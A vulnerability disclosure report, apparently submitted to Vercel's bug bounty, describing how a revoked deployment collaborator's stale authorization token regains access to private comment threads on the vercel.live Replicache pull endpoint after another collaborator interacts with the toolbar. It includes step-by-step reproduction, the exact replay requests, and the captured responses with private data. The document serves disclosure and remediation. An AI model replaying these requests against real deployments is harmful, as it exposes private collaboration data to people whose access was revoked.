Vercel · Report #3852102
Revoked deployment collaborator regains access to private comments after active collaborator interaction
How it was found
Summary
A revoked deployment collaborator can regain access to private collaboration data after another active collaborator interacts with the deployment toolbar.
After a collaborator is revoked, their previously issued authorization token becomes invalid and requests correctly return 403 Forbidden.
However, when an active collaborator performs a normal toolbar interaction, the previously revoked token becomes authorized again. The revoked user can then use the same token to access the Replicache synchronization endpoint and retrieve private deployment collaboration data, including comment threads and messages.
The revoked user is not re-invited and no new authorization is granted.
Steps to Reproduce
- Create a Vercel account and create a deployment.
- Invite COLLABORATOR A.
- Access the deployment as COLLABORATOR A and before interacting turn your proxy ON and on the deployment page, click on the small ICON ON RIGH to interact with the deploy, send a comment, while you are capturing the requests
- Go to your proxy and filter for
/api/replicache/pull?docID, you will find a similar request bellow:
POST /api/replicache/pull?docID=live_mode_1@prj_Eimqu7kqIMhfOGdw5vYFaDEpSahL@dpl_8ibZZUZ4hjoK9sTZxL44EKeP5wWB HTTP/1.1
Host: vercel.live
Connection: keep-alive
Content-Length: 178
sec-ch-ua-platform: "Windows"
authorization: ████████
x-replicache-requestid: ab7ebaa4-f2c3-4827-a4b2-7fcc8bf0e616-ccacffbe-0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/149.0.0.0 Safari/537.36
sec-ch-ua: "Google Chrome";v="149", "Chromium";v="149", "Not)A;Brand";v="24"
content-type: application/json
sec-ch-ua-mobile: ?0
Accept: */*
Origin: https://vercel.live
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Sec-Fetch-Storage-Access: active
Referer: https://vercel.live/_next-live/feedback/feedback.html?dpl=dpl_As2srzacGYF1FM8XR4FJTCFVygCR
Accept-Encoding: gzip, deflate, br, zstd
Accept-Language: en-US,en;q=0.9
Cookie: vercel-experiment-uuid=aKltzhrcsZEI01gELYN0J; vercel-feature-flags=eyJhbGciOiJIUzI1NiJ9.eyJicmFuY2hTd2l0Y2hlciI6dHJ1ZSwiYWNjZXNzaWJpbGl0eUF1ZGl0QXV0b1J1biI6dHJ1ZSwiZGlzdHJpYnV0ZWRUcmFjaW5nIjp0cnVlLCJ2MEFwcCI6dHJ1ZSwidjBUaXAiOnRydWUsIm9wZW5JblYwIjp0cnVlLCJ0b29sYmFyRGVidWdNb2RlIjp0cnVlLCJleHAiOjE3ODM0NjU2NTZ9.fmcnc2QG9gRRBR7zZ9LYAb3UNC0yRD-30HKCecQuLlc
{"profileID":"p288938aa6057418f84ca8dc70f06f34d","clientID":"ab7ebaa4-f2c3-4827-a4b2-7fcc8bf0e616","cookie":{"version":56},"lastMutationID":13,"pullVersion":0,"schemaVersion":""}
Remove all the unnecessar headers and body params, the request must be like bellow at the end, the value of param cookie you have to set it to 1 (One):
POST /api/replicache/pull?docID=live_mode_1@prj_xcUQNkVarBAI1icuIfJI465i0UuR@dpl_31W3G8TZmu81RdPJJubhDrMEWoE1 HTTP/1.1
Host: vercel.live
Connection: keep-alive
sec-ch-ua-platform: "Windows"
authorization: ████████
content-type: application/json
{"profileID":"","clientID":"","cookie":{"version":1}}
The response of this request contains all the comments
Note: Turn OFF your proxy
- Now revoke the COLLABORATOR A and invite the COLLABORATOR B
- Access the page of deployment as COLLABORATOR A, observe that this collaborator has no access to interact using
toolbar - Replay the customized request we made on step 3 as collaborator A, observe that it returns 403
POST /api/replicache/pull?docID=live_mode_1@prj_xcUQNkVarBAI1icuIfJI465i0UuR@dpl_31W3G8TZmu81RdPJJubhDrMEWoE1 HTTP/1.1
Host: vercel.live
Connection: keep-alive
sec-ch-ua-platform: "Windows"
authorization: ████████
content-type: application/json
{"profileID":"","clientID":"","cookie":{"version":50}}
Response:
HTTP/1.1 403 Forbidden
Access-Control-Allow-Headers: *
Access-Control-Allow-Methods: GET, POST, OPTIONS
Access-Control-Allow-Origin: *
Cache-Control: no-store
Content-Length: 103
Content-Type: application/json; charset=utf-8
Date: Thu, 09 Jul 2026 04:17:56 GMT
Etag: "jbk8mtdrfm2v"
Server: Vercel
Strict-Transport-Security: max-age=63072000
X-Matched-Path: /api/replicache/pull
X-Robots-Tag: noindex
X-Vercel-Cache: MISS
X-Vercel-Id: cpt1::sfo1::fdwhc-1783570675940-81e073948471
{
"error": {
"message": "Not authorized.",
"code": "unauthorized",
"statusCode": 403,
"extras": {},
"isRaw": true
}
}
- Now as a new active invited collaborator (COLLABORATOR B), interact with the page, click on toolbar icon on righ and comment anything, for POC pourposes we will be commenting "ANYTHING".
- Now Replay again the customized request we made on step 3 as collaborator A, observe now it returns 200 OK, containing all messages:
The request must be this modified, body and headers (replace with your docId and authorization header that bellongs to the revoked collaborator)
POST /api/replicache/pull?docID=live_mode_1@prj_xcUQNkVarBAI1icuIfJI465i0UuR@dpl_31W3G8TZmu81RdPJJubhDrMEWoE1 HTTP/1.1
Host: vercel.live
Connection: keep-alive
sec-ch-ua-platform: "Windows"
authorization: ████████
content-type: application/json
{"profileID":"","clientID":"","cookie":{"version":50}}
Response:
HTTP/1.1 200 OK
Access-Control-Allow-Headers: *
Access-Control-Allow-Methods: GET, POST, OPTIONS
Access-Control-Allow-Origin: *
Cache-Control: no-store
Content-Length: 5320
Content-Type: application/json; charset=utf-8
Date: Thu, 09 Jul 2026 04:33:15 GMT
Etag: "4eaiav2d2743s"
Server: Vercel
Strict-Transport-Security: max-age=63072000
X-Feedback-Rep-Cookie: {"version":12}
X-Matched-Path: /api/replicache/pull
X-Robots-Tag: noindex
X-Vercel-Cache: MISS
X-Vercel-Id: cpt1::sfo1::cjdrf-1783571595692-1dc82f208b78
{
"lastMutationID": 2,
"cookie": {
"version": 12
},
"patch": [{
"op": "put",
"key": "user-CzT5kf0A2FbUEgY7Q9RKktSG",
"value": {
"id": "CzT5kf0A2FbUEgY7Q9RKktSG",
"name": "kellyblue-name",
"color": "#50e3c2",
"avatar": "https://vercel.com/api/www/avatar/?u=kellybluevercel&s=64",
"username": "kellybluevercel",
"isExternal": true,
"notificationPreference": "normal"
}
}, {
"op": "put",
"key": "user-27sKiDzCe4w6wQKECRwrxkfv",
"value": {
"id": "27sKiDzCe4w6wQKECRwrxkfv",
"name": "kellybluepoc-2381",
"color": "#ff0080",
"avatar": "https://vercel.com/api/www/avatar/?u=kellybluepoc-2381&s=64",
"username": "kellybluepoc-2381",
"isExternal": true,
"notificationPreference": "normal"
}
}, {
"op": "put",
"key": "state",
"value": {
"userCount": 2,
"lastUsedShortId": 2
}
}, {
"op": "put",
"key": "commentThread-CfAhsOLgxuV2",
"value": {
"x": 0.265,
"y": 0.418,
"id": "CfAhsOLgxuV2",
"page": "/",
"nodeId": "body",
"shortId": 1,
"subject": "[team3project] TEST IDOR",
"comments": [{
"id": "OX7-HQLwVCs7PfSPI4WhE",
"body": [{
"type": "paragraph",
"children": [{
"text": "TEST IDOR"
}]
}],
"href": "https://team3project-gilt.vercel.app/",
"text": "TEST IDOR",
"images": [],
"userId": "27sKiDzCe4w6wQKECRwrxkfv",
"pending": false,
"timestamp": 1783490810371,
"deployment": {
"id": "dpl_31W3G8TZmu81RdPJJubhDrMEWoE1",
"ts": 1783490319770,
"author": "httpsevilcom"
},
"mentionedUsers": [],
"writeConfirmed": true,
"leftOnLocalhost": false
}, {
"id": "maHqzhjWBzaJ1QJ4K0wG6",
"body": [{
"type": "paragraph",
"children": [{
"text": "TEST-IDOR"
}]
}],
"href": "https://team3project-gilt.vercel.app/",
"text": "TEST-IDOR",
"images": [],
"userId": "27sKiDzCe4w6wQKECRwrxkfv",
"pending": false,
"timestamp": 1783490836443,
"deployment": {
"id": "dpl_31W3G8TZmu81RdPJJubhDrMEWoE1",
"ts": 1783490319770,
"author": "httpsevilcom"
},
"mentionedUsers": [],
"writeConfirmed": true,
"leftOnLocalhost": false
}, {
"id": "n79vcY4Wfa8dj-S00bQqK",
"body": [{
"type": "paragraph",
"children": [{
"text": "IDOR-MAN"
}]
}],
"href": "https://team3project-gilt.vercel.app/",
"text": "IDOR-MAN",
"images": [],
"userId": "27sKiDzCe4w6wQKECRwrxkfv",
"pending": false,
"timestamp": 1783490869806,
"deployment": {
"id": "dpl_31W3G8TZmu81RdPJJubhDrMEWoE1",
"ts": 1783490319770,
"author": "httpsevilcom"
},
"mentionedUsers": [],
"writeConfirmed": true,
"leftOnLocalhost": false
}, {
"id": "8BhIBAvogJD9Sv5fvy0TL",
"body": [{
"type": "paragraph",
"children": [{
"text": "IDOR-MAN"
}]
}],
"href": "https://team3project-gilt.vercel.app/",
"text": "IDOR-MAN",
"images": [],
"userId": "27sKiDzCe4w6wQKECRwrxkfv",
"pending": false,
"timestamp": 1783490915508,
"deployment": {
"id": "dpl_31W3G8TZmu81RdPJJubhDrMEWoE1",
"ts": 1783490319770,
"author": "httpsevilcom"
},
"mentionedUsers": [],
"writeConfirmed": true,
"leftOnLocalhost": false
}, {
"id": "ZLUbWzg5hVBmlEzKdxnZD",
"body": [{
"type": "paragraph",
"children": [{
"text": "OLA-OLA-OLA"
}]
}],
"href": "https://team3project-gilt.vercel.app/",
"text": "OLA-OLA-OLA",
"images": [],
"userId": "CzT5kf0A2FbUEgY7Q9RKktSG",
"pending": false,
"timestamp": 1783492038057,
"deployment": {
"id": "dpl_31W3G8TZmu81RdPJJubhDrMEWoE1",
"ts": 1783490319770,
"author": "httpsevilcom"
},
"mentionedUsers": [],
"writeConfirmed": true,
"leftOnLocalhost": false
}],
"resolved": false,
"draftMode": false,
"pageTitle": "",
"userAgent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/149.0.0.0 Safari/537.36",
"screenWidth": 758,
"screenHeight": 426,
"deploymentUrl": "team3project-qm9utqnk5-team3-d4677e0d.vercel.app",
"followingUsers": ["27sKiDzCe4w6wQKECRwrxkfv", "CzT5kf0A2FbUEgY7Q9RKktSG"],
"hasReadUserMap": {
"CzT5kf0A2FbUEgY7Q9RKktSG": true
},
"devicePixelRatio": 1.25,
"frameworkContext": "Could not find React fiber for this element. This may not be a React application or the element is not rendered by React.",
"emailMessageIdMap": {},
"lastScreenshotNumber": 0
}
}, {
"op": "put",
"key": "commentThread-3XWW_kP0-bvs",
"value": {
"x": 0.54,
"y": 0.458,
"id": "3XWW_kP0-bvs",
"page": "/",
"nodeId": "body",
"shortId": 2,
"subject": "[team3project] sdffgfghkghjkghjg",
"comments": [{
"id": "MOUaroWVIkbq_5YJCaQdg",
"body": [{
"type": "paragraph",
"children": [{
"text": "sdffgfghkghjkghjg"
}]
}],
"href": "https://team3project-gilt.vercel.app/",
"text": "sdffgfghkghjkghjg",
"images": [],
"userId": "CzT5kf0A2FbUEgY7Q9RKktSG",
"pending": false,
"timestamp": 1783570691505,
"deployment": {
"id": "dpl_31W3G8TZmu81RdPJJubhDrMEWoE1",
"ts": 1783490319770,
"author": "httpsevilcom"
},
"mentionedUsers": [],
"writeConfirmed": true,
"leftOnLocalhost": false
}, {
"id": "xAbHy0UPWoZZgbAlhM5cZ",
"body": [{
"type": "paragraph",
"children": [{
"text": "jjjj"
}]
}],
"href": "https://team3project-gilt.vercel.app/",
"text": "jjjj",
"images": [],
"userId": "CzT5kf0A2FbUEgY7Q9RKktSG",
"pending": false,
"timestamp": 1783571559805,
"deployment": {
"id": "dpl_31W3G8TZmu81RdPJJubhDrMEWoE1",
"ts": 1783490319770,
"author": "httpsevilcom"
},
"mentionedUsers": [],
"writeConfirmed": true,
"leftOnLocalhost": false
}],
"resolved": false,
"draftMode": false,
"pageTitle": "",
"userAgent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/149.0.0.0 Safari/537.36",
"screenWidth": 1024,
"screenHeight": 660,
"deploymentUrl": "team3project-qm9utqnk5-team3-d4677e0d.vercel.app",
"followingUsers": ["CzT5kf0A2FbUEgY7Q9RKktSG"],
"hasReadUserMap": {
"CzT5kf0A2FbUEgY7Q9RKktSG": true
},
"devicePixelRatio": 1.25,
"frameworkContext": "Could not find React fiber for this element. This may not be a React application or the element is not rendered by React.",
"lastScreenshotNumber": 0
}
}, {
"op": "put",
"key": "control/partial-sync",
"value": "control/PARTIAL_SYNC_DONE"
}],
"httpRequestInfo": {
"httpStatusCode": 200,
"errorMessage": ""
}
}
Observe that returns private collaboration data, including:
- comment threads
- comment contents
- deployment information
- collaborator activity data
Remediation
- Ensure that revoked collaborator authorization state is checked during every authenticated request.
- Immediately invalidate all authorization state associated with revoked collaborators.
- Prevent collaboration synchronization systems from restoring permissions from stale authorization data.
- Ensure cached membership states are invalidated after collaborator removal.
- Do not allow revoked tokens to regain access after unrelated collaborator activity.
Attachments/References
- poc2.mp4 - Poc Video {F6221456}
Impact
A user who has been explicitly removed from a deployment can regain access to private collaboration resources using an already revoked token.
This allows a previously revoked collaborator to:
- Read private deployment comments.
- Monitor collaboration activity.
- Access deployment collaboration state without being re-invited.
- Besides accessing message he can interact with the deployment like any invited user
The issue breaks the expected security guarantee of collaborator revocation, where removed users should immediately lose access to protected resources.